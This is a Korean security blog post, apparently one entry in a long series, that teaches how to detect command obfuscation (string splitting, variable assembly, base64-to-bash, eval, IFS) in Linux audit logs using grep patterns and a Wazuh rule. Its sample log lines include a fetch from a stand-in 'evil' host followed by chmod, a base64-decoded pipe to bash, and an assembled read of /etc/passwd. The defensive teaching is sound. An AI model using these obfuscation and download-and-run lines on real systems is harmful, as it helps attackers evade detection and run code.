382. 방어 회피·흔적 삭제 — 명령어 난독화(obfuscation) 탐지

changseop lee·7일 전

시스템 보안 · 취약점

목록 보기
382/450

시스템 보안 · 취약점 › H. 방어 회피 · 흔적 삭제 징후 · 32/50편 (전체 382/450)
학습 단계: 위장·난독화·흔적 분석
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

명령어 난독화(obfuscation)는 명령의 의미는 유지한 채 형태를 바꿔 시그니처(패턴) 탐지를 회피하는 기법입니다. 문자열 분할·변수 치환·공백·따옴표 삽입 등으로 wget·/etc/passwd 같은 탐지 키워드를 깨뜨립니다.

명령어 난독화 기법
 문자열 분할: w''get, w"g"et → wget
 변수 치환: a=wge;b=t;$a$b → wget
 문자 치환: $(echo d2dldA==|base64 -d) → wget
 공백·탭 조작: 명령 사이 비정상 공백
 IFS 조작: 구분자 변경으로 파싱 회피

탐지: 비정상 따옴표·변수 조합·base64·eval 패턴, 행위 기반

핵심은 "읽기 어렵게 만든 명령"입니다. 시그니처는 깨져도 실행 결과(행위)는 같으므로, 행위 기반 탐지와 난독화 패턴 자체 탐지를 병행합니다.

2. 왜 중요한가

  • 난독화는 명령 형태를 바꿔 키워드 기반 시그니처 탐지를 회피합니다.
  • 문자열 분할·변수 치환·base64·eval이 대표적 난독화 수법입니다.
  • 시그니처는 깨져도 행위는 동일하므로 행위 기반 탐지가 보완 수단입니다.

3. 핵심 명령어 / 설정

난독화예탐지
문자열 분할w''get따옴표 패턴
변수 치환aab 조합변수 조립
인코딩base64 -d인코딩 키워드
eval 실행eval $vareval 패턴
행위 기반—실행 결과

4. 실습 (실습 예시)

# 명령어 난독화 탐지 (분석 방법)
# 비정상 따옴표·변수 조합·eval
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E "proctitle=.*(\\\$\{?[a-z]+\}?\\\$|''|\"\"|eval |\\\$\(.*\))" | tail
# 인코딩 디코드 후 실행 패턴
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'base64\s+-d|xxd\s+-r|\\\\x[0-9a-f]{2}' | tail
# IFS·구분자 조작
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'IFS=' | tail

5. 정상 상태

$ (난독화 패턴) (없음 — 정상 평문 명령)
$ (인코딩 실행) (없음)

명령이 평문으로 실행되고, 비정상 따옴표·변수 조합·인코딩 디코드·eval 패턴이 없는 상태가 정상입니다.

6. 이상 상태

$ (난독화 패턴)
proctitle="w''g''et http://..." (문자열 분할)
proctitle="a=/etc/;b=passwd;cat $a$b" (변수 조립)
$ (인코딩 실행)
proctitle="echo d2dldCBodHRw|base64 -d|bash" (base64 난독화)
  • w''get·변수 조립 → 시그니처 깨뜨리기(난독화)
  • base64 디코드 후 파이프 실행 → 인코딩 난독화
  • 난독화 패턴 → 시그니처 회피 시도 → 정탐(패턴+행위 기반)

7. 로그 분석 (분석 방법)

명령어 난독화 분석입니다(가상의 예시).

[공격자] 원래 명령: wget http://evil/x -O /tmp/x; chmod +x
   ↓ (난독화)
w''g''et ... (따옴표 분할)
또는 echo <base64>|base64 -d|bash (인코딩)
   → 시그니처 "wget" 패턴 회피
      ↕ (탐지)
[패턴] 비정상 따옴표·base64|bash·변수 조립 자체를 탐지
[행위] 실행 결과: 외부 다운로드+chmod → 동일 행위 포착
   ↓
= 형태는 속여도 난독화 흔적·행위는 남음 → 정탐
관점난독화탐지
시그니처키워드 깨짐난독화 패턴
행위동일행위 기반
인코딩base64디코드 패턴

난독화 패턴 + 행위 기반이 난독화 탐지의 핵심입니다.

8. SOC 관제 포인트

  • 명령어 난독화(T1027)는 명령 형태를 바꿔 시그니처 탐지를 회피합니다.
  • 문자열 분할·변수 치환·base64·eval이 대표적이며, 행위는 원본과 동일합니다.
  • 난독화 패턴 자체 탐지와 행위 기반 탐지를 병행해야 회피를 포착합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_h,defense_evasion,">
  <rule id="107310" level="12">
    <if_sid>107000</if_sid>
    <field name="audit.proctitle" type="pcre2">base64\s+-d.*(sh|bash)|eval\s+\$|\$\{?IFS\}?|([a-z])['"]{2}([a-z])</field>
    <description>명령어 난독화(문자열 분할·인코딩·eval, 시그니처 회피)</description>
    <mitre><id>T1027</id><id>T1140</id></mitre>
  </rule>
</group>

난독화 패턴(인코딩·eval·따옴표 분할)을 탐지하고, 디코드 후 행위를 행위 기반 룰로 보완합니다. 정상 스크립트의 인코딩 사용은 기준선으로 구분합니다.

10. 대응 방법

  1. 초기 확인 — 명령의 난독화 패턴(분할·치환·인코딩·eval)을 확인합니다.
  2. 범위 확인 — 디코드 후 실제 행위와 난독화 목적을 확인합니다.
  3. 증거 확보 — 난독화 명령·디코드 결과·실행 계보를 보존합니다.
  4. 차단/조치 — 난독화 정탐이면 디코드해 실제 명령 분석·행위 기반 추적을 진행합니다.
  5. 재발 방지 — 명령어 난독화 탐지를 운영합니다.

11. 핵심 정리

난독화예
문자열 분할w''get
변수 치환aab 조합
인코딩base64 -d
eval 실행eval $var
면접 포인트"난독화는 시그니처만 깸 — 패턴 탐지+행위 기반으로 실제 명령 포착"

12. 다음 편 예고

다음 편 383. 방어 회피·흔적 삭제 — 인코딩·암호화 기반 우회 탐지 에서는 인코딩·암호화 기반 우회를 다루는 인코딩·암호화 기반 우회 탐지를 다룹니다.


이전 편: 381. 방어 회피·흔적 삭제 — 경로·위치 위장 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글